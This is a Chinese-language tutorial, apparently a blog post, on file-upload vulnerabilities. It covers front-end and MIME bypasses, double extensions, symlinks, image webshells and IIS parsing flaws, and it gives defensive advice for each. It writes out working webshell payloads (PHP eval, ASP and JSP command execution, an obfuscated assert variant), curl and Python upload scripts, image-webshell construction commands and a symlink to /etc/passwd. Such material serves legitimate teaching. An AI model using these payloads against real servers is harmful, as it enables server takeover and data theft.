关于 Web 风险点原理与利用:4. 文件上传风险点

定义:文件上传风险点是指应用程序允许用户上传文件,但没有严格校验上传文件的类型、内容、路径等属性,导致攻击者可以上传并执行恶意代码。


绕过方式:

前端绕过

1. 前端限制的原理

前端限制上传文件类型的常见方式有三种:

1)accept 属性限制上传文件后缀:

<input type="file" accept=".jpg,.png">

这只允许用户选择 .jpg.png 后缀的文件。

2)前端 JS 脚本校验:

例如用 JavaScript 限制后缀名或文件大小:

const file = document.getElementById("file").files[0];
if (!file.name.endsWith(".jpg")) {
  alert("只能上传 JPG 图片!");
  return false;
}

3)通过 MIME 类型校验:

前端代码可能会检查文件的 type 属性:

if (file.type !== "image/jpeg") {
  alert("只允许上传图片!");
  return false;
}

结论:以上所有校验都是“客户端校验”,攻击者完全可以绕过!因为攻击者可以不通过浏览器上传,而是自己构造上传请求。

2. 前端绕过的攻击原理

前端校验只能在浏览器上生效。而上传的核心流程如下:

POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream

<?php @eval($_POST['cmd']); ?>
------WebKitFormBoundary--

攻击者只要能构造这样的 HTTP 请求(与浏览器无关),即可上传任何文件类型。

3. 前端绕过的几种实战方法

方法一:禁用 JS 直接选文件

如果页面通过 JS 阻止上传(例如不让选择 .php 文件),可以:

  • 右键网页 → 检查 → Application → Local File System 手动选文件

  • 或者用 curl、Postman、Python 绕过

方法二:Burp Suite 抓包修改文件名

步骤:

  • 正常上传一张 .jpg 图片

  • Burp Suite 抓包

  • 修改请求中的 filename="xxx.jpg"filename="shell.php"

  • 修改请求体中的文件内容为 PHP Webshell

  • 发送请求,查看响应路径是否上传成功

Content-Disposition: form-data; name="file"; filename="shell.php"

即使前端只允许 .jpg,服务端没做验证,也可能成功!

方法三:curl 模拟上传

用 curl 构造上传请求(替代浏览器):

curl -F "file=@shell.php" http://target.com/upload

完全绕过前端任何 JS 校验!

方法四:Python requests 上传

构造 Python 脚本:

import requests

files = {'file': ('shell.php', open('shell.php', 'rb'), 'application/octet-stream')}
r = requests.post('http://target.com/upload', files=files)
print(r.text)

也能轻松绕过前端限制。

方法五:Postman 构造上传请求

  • 使用 Postman 新建 POST 请求

  • 在 Body → form-data 添加字段:

    • key: file

    • type: File

    • value: 本地的 shell.php

  • 点击发送

4. 防御建议

防护位置措施
服务端对文件扩展名进行白名单校验(如:仅允许 .jpg, .png
服务端对 MIME 类型进行验证(推荐通过 magic bytes,而非请求头)
服务端对上传路径进行隔离,不允许上传目录执行脚本
服务端对文件内容进行特征过滤(如检测 <?php 字符)
安全中间件使用 WAF 拦截 eval, base64_decode, cmd 等关键词

小结

前端绕过的本质:攻击者完全可以跳过浏览器,构造自己的 HTTP 请求,从而绕过一切前端校验。

=======================================

MIME 类型绕过

MIME(Multipurpose Internet Mail Extensions)类型,是 HTTP 请求中描述文件内容类型的字段,常见于上传时的请求头:

Content-Type: image/jpeg

常见类型有:

文件类型MIME 类型
JPEG图片image/jpeg
PNG图片image/png
HTMLtext/html
PHPapplication/x-httpd-php
可执行文件application/octet-stream

服务端错误的 MIME 判断方式

很多开发者会使用以下逻辑判断上传文件是否合法:

if ($_FILES['file']['type'] != "image/jpeg") {
    die("请上传图片文件!");
}

问题:$_FILES['file']['type'] 是由 客户端上传时声明的 MIME 类型,攻击者可以伪造

1. MIME 类型绕过的原理

攻击核心:

攻击者伪造请求头中 Content-Type 为服务器信任的类型,例如:

Content-Type: image/jpeg

然后上传 .php 文件内容,就可能绕过验证。

2. 实战 MIME 类型绕过方法

方法一:抓包修改 MIME(最常用)

  • 正常上传 .jpg 文件抓包

  • 修改请求内容如下:

Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

<?php @eval($_POST['cmd']); ?>
  • 服务端只检查 Content-Type: image/jpeg,可能直接通过。

方法二:curl 构造 MIME 请求

curl -X POST http://target.com/upload -F "file=@shell.php;type=image/jpeg"
  • @shell.php 指上传的本地文件

  • type=image/jpeg 表示 MIME 类型为图片,伪造成功

方法三:Python 模拟上传(伪造 Content-Type)

import requests

files = {
    'file': ('shell.php', open('shell.php', 'rb'), 'image/jpeg')
}

res = requests.post('http://target.com/upload', files=files)
print(res.text)

即使上传的是 PHP,伪装成 JPEG,服务器若只看 Content-Type 就会中招。

方法四:图片马 + MIME 绕过

制作“图片马”:

GIF89a
<?php @eval($_POST['cmd']); ?>

保存为 shell.jpg,上传时 MIME 仍为 image/jpeg

如果服务器按 MIME 和扩展名判断,不按内容判断,就可能被执行。

3. 常见误判方式

错误代码描述
$_FILES['file']['type']取的是客户端提供的 MIME,可伪造
JS 检查 file.type是前端行为,攻击者可以直接 POST
只看文件后缀名 + MIME双保险都能伪造

4. 防御建议

防御方式描述
 使用 Magic Number 验证使用文件头判断文件真实类型(推荐)
 白名单策略严格限制上传类型:只允许 .jpg/.png
 后端二次校验不能信任用户提交的 Content-Type
 隔离上传路径上传目录不允许执行(不解析 PHP 等脚本)
 文件改名存储上传文件改为 UUID+扩展名,防止执行

5. Magic Number(文件头)快速识别参考

文件类型开头标识(Magic Header)
JPEGFF D8 FF
PNG89 50 4E 47
GIF47 49 46 38
PDF%PDF
ZIP50 4B 03 04
EXEMZ

可以使用 Python 检测 Magic Header:

with open("file.jpg", "rb") as f:
    magic = f.read(4)
    print(magic)

小结

MIME 类型可以轻松伪造,千万不能作为文件是否合法的依据。

必须在后端通过真实内容检查(Magic Number)+ 类型白名单 + 存储隔离多重措施防御。

=======================================

双扩展名

双扩展名就是给上传的文件命名为两个扩展名的形式:

shell.php.jpg

或者:

shell.jpg.php

目的:混淆服务端或 Web 服务器对文件类型的识别,从而绕过上传限制并达到执行 WebShell 的目的。

为什么双扩展名会绕过?

在某些服务端逻辑中:

  • 检查上传文件后缀是否为图片(例如:endswith(".jpg")

  • 一看到 .jpg 就放行,不管前面还有 .php

于是:

文件名:shell.php.jpg
服务端:哦,是 .jpg,合法!
Web 服务器:实则按 .php 解析!可能直接执行!

1. 不同服务器对双扩展名的解析差异

服务器类型解析策略说明
Apache默认取最后一个扩展名(.jpg可配置,需看 mod_mime 等模块
Nginx默认取最后一个扩展名(.jpg不解析 .php.jpg 文件
IIS常常取 第一个识别的可执行后缀.php;.jpg 可能会执行

2. 双扩展名绕过的几种形式

1)普通双扩展名:

shell.php.jpg
shell.asp.jpg
shell.jsp.jpg

如果服务端只判断最后一个扩展名,会被绕过。

2)带多个点(多扩展):

shell.php.1.jpg
shell.php.abc.jpg

有些框架只会取第一个点后的部分进行判断,导致绕过。

3)利用 Windows 的「忽略第二扩展名」特性(IIS 特性):

shell.asp;.jpg

Windows 文件名允许 ;,IIS 会识别前半段为脚本,后面忽略,仍然执行。

4)上传后路径解析造成绕过:

假设上传后文件名被服务器改为:

shell.php.jpg -> /uploads/shell.php.jpg

攻击者访问:

http://target.com/uploads/shell.php.jpg

如果 Web 服务未正确配置(比如直接转发给 PHP 引擎),也可能执行里面的 PHP 代码。

3. 实战举例

上传双扩展名图片马:

创建一个“图片马”:

GIF89a
<?php @eval($_POST['cmd']); ?>

保存为:

shell.php.jpg

抓包修改上传参数(如 Content-Type 设置为 image/jpeg),绕过检查。

如果上传成功,访问:

http://target.com/uploads/shell.php.jpg

如果目标服务器会将其作为 PHP 执行,就 getshell 了。

4. 防御建议

措施说明
 严格后端校验扩展名如不包含 .php.jsp
 限制文件名只能包含一个点拒绝多扩展名上传
 上传后强制重命名使用 UUID 或 hash 做存储名
 上传目录禁止脚本执行Nginx 设置 autoindex off; + 不交给 PHP 引擎
 使用 Magic Number 校验文件内容类型不信扩展名和 MIME
 WAF 拦截可疑上传文件名比如包含 .php 的文件名

小结

双扩展名绕过的本质是服务端只检查“最后一个扩展名”,而 Web 服务可能根据前面的扩展名解析执行。

如果后端只判断 .jpg 而忽略了 .php,或者 IIS 会执行 shell.php;.jpg,就会导致严重的上传+执行 风险,最终 getshell。

=======================================

软连接绕过

软连接(Symbolic Link)是 Linux 下的“快捷方式”,类似 Windows 的快捷方式文件。

例如:

ln -s /etc/passwd ./a.jpg

会在当前目录创建一个叫 a.jpg 的文件,实际上是 /etc/passwd 的软链接。

软连接与文件上传绕过的关系

攻击思路:

  • 上传文件 时,服务端只检查扩展名、MIME 类型;

  • 上传的内容其实是一个软连接文件,指向一个敏感脚本(或你上传的已存在 WebShell);

  • 如果服务器将该文件当成上传结果处理,访问链接路径时可能执行原始文件,或者获取敏感数据。

1. 利用条件(环境依赖较强)

要使用软连接绕过,必须满足以下条件:

条件说明
 Linux 系统Windows 不支持软链接用于这种方式
 Web 目录具有读权限否则 Web 无法访问软链接目标
 上传目录允许写入软链接有些服务器禁用软链接操作
 未严格检查上传内容服务端未禁止非图片数据
 Web 服务能解析软链接即访问软链接时能解析执行其目标文件

2. 攻击实例

示例 1:读取敏感文件(非 getshell)

上传一个伪装成图片的软链接:

ln -s /etc/passwd passwd.jpg

然后上传 passwd.jpg,如果上传路径是 Web 可访问的:

http://target.com/upload/passwd.jpg

就可能显示 /etc/passwd 的内容

示例 2:访问网站中的已存在后门

假设找到了某个泄漏页面 /admin/shell.php,但它只能通过某个复杂路径才能访问(比如被防火墙保护)。

上传一个软链接:

ln -s /var/www/html/admin/shell.php shell.jpg

上传后访问:

http://target.com/upload/shell.jpg

就可能绕过路径限制,直接访问到 WebShell!

示例 3:绕过后缀限制(配合双扩展)

将软链接命名为:

shell.php.jpg -> /var/www/html/uploads/shell.php

服务端判断后缀为 .jpg,就允许上传,但实际链接的是 .php 文件,仍可能被执行。

3. 防御方式

防御措施说明
 禁止上传软连接文件上传接口判断是否为软链接(见下方示例)
 上传目录挂载为 nofollow防止软连接被解析
 上传后重命名并移动不保留原路径、软连接无效
 配置 Web 服务禁止解析符号链接Nginx/Apache 配置关闭 symlink 解析
 文件内容识别验证拒绝上传符号链接文件,检查是否真实图片等

4. 检测上传文件是否是软链接

后端代码示例(PHP):

if (is_link($_FILES['file']['tmp_name'])) {
    die("禁止上传符号链接文件!");
}

或使用 filetype()

if (filetype($_FILES['file']['tmp_name']) == "link") {
    die("拒绝上传软链接!");
}

小结

软连接绕过的核心是:上传的文件其实是一个链接,服务端未验证内容,访问时可能导致敏感信息泄露或绕过路径保护,甚至执行隐藏的 WebShell。


getshell 实例:

Webshell 上传

WebShell 是一种后门脚本文件,通过 Web 页面远程控制服务器。

常见的 WebShell 类型包括:

脚本类型常见扩展名举例语言
PHP Shell.php, .phtml<?php @eval($_POST['pass']); ?>
ASP Shell.asp, .aspx<%eval request("pass")%>
JSP Shell.jsp<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

1. 攻击条件(前提)

成功上传 WebShell 并执行,需满足以下前提:

  • 上传功能可用

  • 上传后文件可访问且可执行

  • 服务端未对上传类型/内容做严格限制

  • 没有 WAF(Web 应用防火墙)或其他检测机制拦截

2. 攻击流程详解

步骤 1:准备 WebShell 文件(例如 PHP)

<?php @eval($_POST['pass']); ?>

也可以用更隐蔽的变种:

<?php
$a='ass'.'ert';
$b='$_POST[1]';
$a($b);
?>

步骤 2:上传脚本文件

如果前端限制只能上传 .jpg,可以通过:

  • 修改后缀:shell.php.jpg

  • 拦截请求(Burp)改文件名为 shell.php

  • MIME 类型伪造:Content-Type: image/jpeg

步骤 3:上传成功后,访问 WebShell

http://target.com/upload/shell.php

或(双扩展):

http://target.com/upload/shell.php.jpg

步骤 4:控制 WebShell(Getshell)

  • 使用工具如:蚁剑(AntSword)、冰蝎(Behinder)、中国菜刀等;

  • 输入密码字段(如 pass);

  • 获得命令执行界面或文件管理界面。

3. 绕过技巧合集

绕过手段原理
前端绕过JS 检查可被禁用或绕过(改 HTML 或直接抓包上传)
MIME 类型伪造Content-Type 改为合法类型如 image/jpeg
双扩展名shell.php.jpgshell.asp;.jpg(IIS)
文件头伪造添加 GIF 或 JPG 文件头
上传后重命名风险点文件被重命名但保留可执行扩展
路径可控或软链接上传后路径可预测或指向 WebShell 文件

4. 实战演示(PHP + Apache)

服务端代码(风险点示例):

<?php
$upload_dir = "uploads/";
$target = $upload_dir . basename($_FILES['file']['name']);

if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
    echo "Upload success!";
} else {
    echo "Upload failed!";
}

这个代码没有任何扩展名、MIME 类型或内容检查,可直接上传 .php 文件。

上传方式(用 curl 模拟):

curl -X POST -F "file=@shell.php" http://target.com/upload.php

然后访问:

http://target.com/uploads/shell.php

输入 POST 数据:

pass=phpinfo();

即可执行代码。

5. 防御建议

防御措施说明
 文件类型白名单只允许 .jpg.png 等安全类型
 文件内容检测使用 file 命令或图片头判断,不信扩展名
 上传文件改名使用随机 UUID 替换原文件名
 上传目录禁止解析Nginx 配置 location ~* \.php$ { deny all; }
 文件隔离上传文件不放在 Web 根目录下
 后门检测工具使用 D盾、WebShellCheck、Yakit 等检测工具

6. 工具推荐

工具名称用途
蚁剑 AntSword最流行的跨平台 WebShell 管理工具
冰蝎 Behinder高级 WebShell,支持加密、内存马
中国菜刀老牌 WebShell 客户端
Burp Suite抓包修改上传参数绕过限制
webshell-detect检测服务器 WebShell 的工具脚本

小结

WebShell 上传是文件上传风险点的终极目标,一旦成功就意味着攻击者能完全控制服务器。

=======================================

图片马

图片马(Image WebShell)指的是伪装成图片格式的 WebShell 文件,攻击者通过在图片文件中隐藏脚本代码,欺骗服务端的上传限制,从而实现代码执行。

图片马可用于绕过:

  • 文件扩展名限制(只能上传 .jpg, .png 等)

  • MIME 类型限制(Content-Type 必须为 image/*)

  • 文件头检测(Magic Number 判断)

1. 构造图片马的原理

图片文件本质是二进制文件,不同格式有固定的文件头:

图片类型文件头(Magic Number)
JPGFF D8 FF
PNG89 50 4E 47 0D 0A
GIFGIF89a

而 Web 服务器在检查上传文件时,很多只校验:

  • 文件扩展名;

  • 文件 MIME;

  • 文件头(Magic Number)前几个字节;

不会分析后续内容是否包含恶意代码。

2. 常见的图片马构造方式

方式一:伪造图片文件头 + PHP 代码

方法:在 PHP WebShell 前加图片文件头

GIF89a
<?php @eval($_POST['cmd']); ?>

保存为:shell.gif,这就是图片马。

访问时:

http://target.com/uploads/shell.gif

POST 请求内容:

cmd=phpinfo();

如果服务器仍按 PHP 解析器解析(例如上传目录支持 .gif 被解析为 PHP),就能执行代码。

方式二:嵌入 WebShell 到真实图片尾部

可以把 PHP 代码加在正常图片后面:

copy /b real.jpg + shell.php shell.jpg

或者使用 Linux:

cat real.jpg shell.php > shell.jpg

这种图片能正常查看(例如浏览器可预览),但访问时仍可执行其中的 WebShell。

方式三:隐藏在图片的 EXIF 信息中

EXIF 是图片的元数据,攻击者可将 Shell 写入其中字段:

修改方法(PHP):

exiftool -Comment='<?php eval($_POST["cmd"]); ?>' image.jpg

服务器读取 EXIF 并包含或解析时,代码会执行(结合文件包含风险点使用)。

3. 攻击流程

  • 攻击者准备伪装好的图片马文件;

  • 上传时抓包修改扩展名为 .jpg 或伪造 MIME:

    Content-Type: image/jpeg
    
  • 上传成功后访问路径:

    http://target.com/uploads/shell.jpg
    
  • 使用蚁剑等 WebShell 工具连接,或手动发 POST 请求执行命令。

4. 图片马常见绕过技巧

绕过方式说明
文件头伪造加上 GIF89aFFD8FF 开头
扩展名伪装使用 .jpg, .png, .gif
双扩展名shell.php.jpgshell.phtml.jpg
MIME 伪造Content-Type: image/jpeg 伪造请求头
真实图片拼接使用 catcopy /b 拼接真实图片与 Shell
使用特殊文件名shell.php%00.jpg(空字节截断)旧风险点
IIS 特性上传 .php;.jpg(双扩展名 + IIS 解析风险点)

5. 实战演示(Apache + PHP)

WebShell 内容(shell.gif):

GIF89a
<?php eval($_POST['cmd']); ?>

上传:

使用 Burp Suite 抓包,修改上传字段为:

Content-Disposition: form-data; name="file"; filename="shell.gif"
Content-Type: image/gif

上传成功后访问:

http://target.com/uploads/shell.gif

POST 请求:

cmd=system('whoami');

效果:

如果服务器将上传目录文件仍作为 PHP 解析 → 成功执行 WebShell → Getshell 成功。

6. 防御建议

防御措施说明
 限制 MIME + 扩展名同时校验后缀名和内容类型
 检测 Magic Number检查文件是否是合法图片头且长度匹配
 上传目录禁用解析上传目录不允许执行 .php 文件(Nginx deny)
 文件改名 + 改路径改为随机名且存放在不可访问的路径
 使用专业安全组件如阿里云 OSS、腾讯 COS 附带内容安全检查
 设置图片后缀白名单拒绝 .php.jpg.phtml.phar 等可解析格式

7. 工具推荐

工具说明
ExifTool修改图片 EXIF 信息
AntSword上传并连接图片马 WebShell
Burp Suite抓包伪造上传请求绕过
Yakit/D盾WebShell 检测工具
PHP 伪图片生成脚本可自动生成图片马样本

小结

图片马是一种利用服务端上传处理不严、文件解析机制配置不当,实现隐蔽 WebShell 上线的手法。 它配合上传绕过技巧,依旧是渗透测试中非常实用的一招。

=======================================

解析风险点(IIS 特性)

IIS(Internet Information Services)是微软提供的 Web 服务。解析风险点是指:

Web 服务器对文件的扩展名解析逻辑存在缺陷,攻击者可以上传恶意脚本伪装成非脚本文件绕过检测,但服务器最终仍会将其作为脚本解析执行

常见于 IIS 6.0 / 7.0 / 7.5 / 8.0 等旧版本。

1. 利用解析风险点的关键特性

IIS 的解析顺序(优先顺序):

IIS 处理文件时,会:

  • 找到文件路径;

  • 尝试按扩展名查找对应的处理程序(Handler);

  • 有一些版本的 IIS 会 从第一个扩展名起就开始匹配处理程序

也就是说:文件名 shell.asp;.jpg,IIS 仍会按照 .asp 解析执行!

导致风险点的配置(默认情况下):

  • IIS 将 第一个合法扩展名 作为解析目标;

  • IIS 忽略后续扩展名;

  • 也支持空格、分号、00 截断等绕过方式。

2. 经典利用方式举例

方式一:双扩展名 + 分号

上传文件名:shell.asp;.jpg

虽然后缀是 .jpg,但 IIS 按 .asp 处理,会当做脚本执行!

访问地址:

http://target.com/uploads/shell.asp;.jpg

如果上传目录支持 .asp 文件解析,就 Getshell 成功。

方式二:空格绕过(部分 IIS 支持)

上传:shell.asp .jpg(注意扩展名前加空格)

IIS 有时会自动忽略空格后缀,仍按 .asp 解析。

方式三:%20%00 空格/截断字符绕过

  • shell.asp%20.jpg (URL 中加空格)

  • shell.asp%00.jpg (URL 截断字符)

一些老的解析器或语言可能会把 %00 作为字符串结尾 → 实际处理为 shell.asp

方式四:NTFS ADS(替代数据流)

在 Windows 系统上,可以构造:

shell.jpg::$DATA

上传后实际存储为 NTFS 的数据流,某些配置下可以执行隐藏数据。

但这种方式利用受限于服务端具体环境。

3. 实战演示(IIS 6.0 示例)

假设上传限制只允许 .jpg 文件。

上传方式:

上传文件名:shell.asp;.jpg

文件内容:

<%eval request("cmd")%>

抓包修改请求头:

Content-Disposition: form-data; name="file"; filename="shell.asp;.jpg"
Content-Type: image/jpeg

上传成功后访问:

http://target.com/uploads/shell.asp;.jpg

提交 POST 数据:cmd=Response.Write("hello"),成功返回说明解析风险点存在。

4. 解析风险点的核心本质

“文件上传 + Web 服务器配置失误 = Getshell”

不是上传功能本身出问题,而是 Web 服务器的解析机制对攻击者过于宽容

这也是为什么即使文件名后缀看上去正常(.jpg),但仍可能执行其中的 WebShell 代码。

5. 防御方式

防御措施说明
 文件名规范化上传后强制改名(使用 UUID 或 hash)
 禁用危险扩展解析修改 IIS 配置:删除 .asp.php 等解析器
 上传目录隔离设置上传目录不执行脚本(web.config deny 或权限限制)
 WAF 拦截拦截伪装的双扩展名 / 分号 / 空格等可疑请求
 使用第三方云存储如阿里云 OSS、腾讯 COS,上传即隔离

6. 检测工具推荐

工具功能
IIS Shortname Scanner扫描 IIS 解析路径风险点
Burp Suite + 手动测试构造双扩展名、空格上传包
冰蝎 / 蚁剑一旦上传成功用于连接 Shell
WAF Log 分析检测双扩展名、; 等敏感字符访问日志

小结

解析风险点不是上传风险点本身,而是服务器“过度聪明”的解析行为被攻击者利用,常见于 IIS 上,典型的就是双扩展名+分号。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值